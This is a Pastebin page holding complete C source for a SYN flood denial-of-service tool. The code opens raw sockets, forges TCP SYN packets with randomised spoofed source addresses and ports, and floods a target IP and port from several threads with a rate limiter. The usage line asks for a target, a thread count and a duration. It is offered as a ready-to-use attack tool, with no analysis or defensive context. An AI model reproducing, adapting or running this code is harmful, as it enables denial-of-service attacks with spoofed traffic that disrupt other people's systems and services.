Advertisement
xttpx

tcp-se

Jul 10th, 2017
11,596
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.14 KB | None | 0 0
  1. #include <unistd.h>
  2. #include <time.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <sys/ioctl.h>
  6. #include <string.h>
  7. #include <stdlib.h>
  8. #include <stdio.h>
  9. #include <pthread.h>
  10. #include <netinet/tcp.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/in.h>
  13. #include <netinet/if_ether.h>
  14. #include <netdb.h>
  15. #include <net/if.h>
  16. #include <arpa/inet.h>
  17.  
  18. #define MAX_PACKET_SIZE 4096
  19. #define PHI 0x9e3779b9
  20.  
  21. static unsigned long int Q[4096], c = 362436;
  22. static unsigned int floodport;
  23. volatile int limiter;
  24. volatile unsigned int pps;
  25. volatile unsigned int sleeptime = 100;
  26.  
  27. void init_rand(unsigned long int x)
  28. {
  29.     int i;
  30.     Q[0] = x;
  31.     Q[1] = x + PHI;
  32.     Q[2] = x + PHI + PHI;
  33.     for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  34. }
  35. unsigned long int rand_cmwc(void)
  36. {
  37.     unsigned long long int t, a = 18782LL;
  38.     static unsigned long int i = 4095;
  39.     unsigned long int x, r = 0xfffffffe;
  40.     i = (i + 1) & 4095;
  41.     t = a * Q[i] + c;
  42.     c = (t >> 32);
  43.     x = t + c;
  44.     if (x < c) {
  45.         x++;
  46.         c++;
  47.     }
  48.     return (Q[i] = r - x);
  49. }
  50. unsigned short csum (unsigned short *buf, int count)
  51. {
  52.     register unsigned long sum = 0;
  53.     while( count > 1 ) { sum += *buf++; count -= 2; }
  54.     if(count > 0) { sum += *(unsigned char *)buf; }
  55.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  56.     return (unsigned short)(~sum);
  57. }
  58.  
  59. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  60.  
  61.     struct tcp_pseudo
  62.     {
  63.         unsigned long src_addr;
  64.         unsigned long dst_addr;
  65.         unsigned char zero;
  66.         unsigned char proto;
  67.         unsigned short length;
  68.     } pseudohead;
  69.     unsigned short total_len = iph->tot_len;
  70.     pseudohead.src_addr=iph->saddr;
  71.     pseudohead.dst_addr=iph->daddr;
  72.     pseudohead.zero=0;
  73.     pseudohead.proto=IPPROTO_TCP;
  74.     pseudohead.length=htons(sizeof(struct tcphdr));
  75.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  76.     unsigned short *tcp = malloc(totaltcp_len);
  77.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  78.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  79.     unsigned short output = csum(tcp,totaltcp_len);
  80.     free(tcp);
  81.     return output;
  82. }
  83.  
  84. void setup_ip_header(struct iphdr *iph)
  85. {
  86.     iph->ihl = 5;
  87.     iph->version = 4;
  88.     iph->tos = 0;
  89.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  90.     iph->id = htonl(54321);
  91.     iph->frag_off = 0;
  92.     iph->ttl = MAXTTL;
  93.     iph->protocol = 6;
  94.     iph->check = 0;
  95.     iph->saddr = inet_addr("192.168.3.100");
  96. }
  97.  
  98. void setup_tcp_header(struct tcphdr *tcph)
  99. {
  100.     tcph->source = htons(5678);
  101.     tcph->seq = rand();
  102.     tcph->ack_seq = 1;
  103.     tcph->res2 = 1;
  104.     tcph->doff = 5;
  105.     tcph->syn = 1;
  106.     tcph->window = htons(65535);
  107.     tcph->check = 0;
  108.     tcph->urg_ptr = 0;
  109. }
  110.  
  111. void *flood(void *par1)
  112. {
  113.     char *td = (char *)par1;
  114.     char datagram[MAX_PACKET_SIZE];
  115.     struct iphdr *iph = (struct iphdr *)datagram;
  116.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  117.    
  118.     struct sockaddr_in sin;
  119.     sin.sin_family = AF_INET;
  120.     sin.sin_port = htons(floodport);
  121.     sin.sin_addr.s_addr = inet_addr(td);
  122.  
  123.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  124.     if(s < 0){
  125.         fprintf(stderr, "Could not open raw socket.\n");
  126.         exit(-1);
  127.     }
  128.     memset(datagram, 0, MAX_PACKET_SIZE);
  129.     setup_ip_header(iph);
  130.     setup_tcp_header(tcph);
  131.  
  132.     tcph->dest = htons(floodport);
  133.  
  134.     iph->daddr = sin.sin_addr.s_addr;
  135.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  136.  
  137.     int tmp = 1;
  138.     const int *val = &tmp;
  139.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  140.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  141.         exit(-1);
  142.     }
  143.  
  144.     init_rand(time(NULL));
  145.     register unsigned int i;
  146.     i = 0;
  147.     while(1){
  148.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  149.  
  150.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  151.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  152.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  153.         tcph->seq = rand_cmwc() & 0xFFFF;
  154.         tcph->source = htons(rand_cmwc() & 0xFFFF);
  155.         tcph->check = 0;
  156.         tcph->check = tcpcsum(iph, tcph);
  157.        
  158.         pps++;
  159.         if(i >= limiter)
  160.         {
  161.             i = 0;
  162.             usleep(sleeptime);
  163.         }
  164.         i++;
  165.     }
  166. }
  167. int main(int argc, char *argv[ ])
  168. {
  169.     if(argc < 6){
  170.         fprintf(stderr, "Invalid parameters!\n");
  171.         fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  172.         exit(-1);
  173.     }
  174.  
  175.     fprintf(stdout, "Setting up Sockets...\n");
  176.  
  177.     int num_threads = atoi(argv[3]);
  178.     floodport = atoi(argv[2]);
  179.     int maxpps = atoi(argv[4]);
  180.     limiter = 0;
  181.     pps = 0;
  182.     pthread_t thread[num_threads];
  183.    
  184.     int multiplier = 20;
  185.  
  186.     int i;
  187.     for(i = 0;i<num_threads;i++){
  188.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  189.     }
  190.     fprintf(stdout, "Starting Flood...\n");
  191.     for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  192.     {
  193.         usleep((1000/multiplier)*1000);
  194.         if((pps*multiplier) > maxpps)
  195.         {
  196.             if(1 > limiter)
  197.             {
  198.                 sleeptime+=100;
  199.             } else {
  200.                 limiter--;
  201.             }
  202.         } else {
  203.             limiter++;
  204.             if(sleeptime > 25)
  205.             {
  206.                 sleeptime-=25;
  207.             } else {
  208.                 sleeptime = 0;
  209.             }
  210.         }
  211.         pps = 0;
  212.     }
  213.  
  214.     return 0;
  215. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement